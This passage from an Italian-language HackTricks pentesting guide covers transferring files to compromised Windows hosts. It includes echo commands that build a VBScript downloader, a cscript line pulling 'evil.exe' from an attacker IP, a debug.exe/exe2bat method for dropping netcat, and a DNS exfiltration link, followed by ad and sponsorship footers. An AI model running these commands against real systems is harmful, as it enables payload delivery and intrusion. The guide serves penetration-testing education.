echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Il programma `debug.exe` non solo consente l'ispezione dei file binari, ma ha anche la **capacità di ricostruirli da un esadecimale**. Ciò significa che fornendo un esadecimale di un file binario, `debug.exe` può generare il file binario corrispondente. Tuttavia, è importante notare che debug.exe ha una **limitazione nell'assemblaggio di file fino a 64 kb di dimensione**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Quindi copia-incolla il testo nella shell di Windows e verrà creato un file chiamato nc.exe.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trova le vulnerabilità che contano di più in modo da poterle correggere più velocemente. Intruder traccia la tua superficie di attacco, esegue scansioni proattive delle minacce, trova problemi in tutta la tua infrastruttura tecnologica, dalle API alle applicazioni web e ai sistemi cloud. [**Provalo gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) oggi.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>